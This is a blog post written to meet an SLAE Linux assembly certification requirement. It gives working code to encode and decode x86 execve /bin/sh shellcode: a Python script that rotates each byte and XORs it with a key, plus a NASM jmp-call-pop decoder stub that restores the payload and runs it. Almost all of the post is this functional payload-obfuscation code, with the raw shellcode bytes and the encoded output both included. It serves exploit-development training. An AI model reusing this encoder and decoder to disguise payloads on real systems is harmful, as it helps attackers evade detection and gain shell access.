1. Encoder
I decided to use python for encoding. I chose bitwise feedback rotation left function and XOR against known key. Hopefully code is clear for understanding:
#!/usr/bin/python
sc = ("\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
max_bits = 8
key_byte = 0x32
final = ""
rotate_left = lambda byte, value, max_bits: \
(byte << value%max_bits) & (2**max_bits-1) | \
((byte & (2**max_bits-1)) >> (max_bits-(value%max_bits)))
for byte in bytearray(sc) :
rotl_byte = rotate_left(byte, 4, max_bits)
xor_byte = rotl_byte ^ key_byte
final += '0x'
final += '%02x,' % (xor_byte & 0xff)
print (final)
print 'Length: %d' % len(bytearray(sc))
I got an output:
0x21,0x3e,0x37,0xb4,0xd4,0xc0,0x05,0xb4,0xb4,0xc0,0xc0,0x14,0xa4,0xaa,0x0c,0x37,0xaa,0x1c,0x07,0xaa,0x2c,0x39,0x82,0xee,0x3a
2. Decoding
To decode I used jmp-call-pop combination to get address of the shellcode. Decoder assembly code below:
global _start
_start:
jmp short get_addr
prep_decode:
pop esi ; address now in esi
xor ecx, ecx
mov cl, len ; shellcode length was counter
decode:
; we decoded by using function backward
xor byte [esi], 0x32 ; xor with the key
ror byte [esi], 4 ; rotate right 4 positions (opposite operation to encoding)
inc esi ; next byte
loop decode ; until cl is zero
jmp short sc ; jump to the original shellcode
get_addr:
call prep_decode
sc: db 0x21,0x3e,0x37,0xb4,0xd4,0xc0,0x05,0xb4,0xb4,0xc0,0xc0,0x14,0xa4,0xaa,0x0c,0x37,0xaa,0x1c,0x07,0xaa,0x2c,0x39,0x82,0xee,0x3a
len equ $-sc:
Proof picture:
3. Disclaimer
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-764
All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam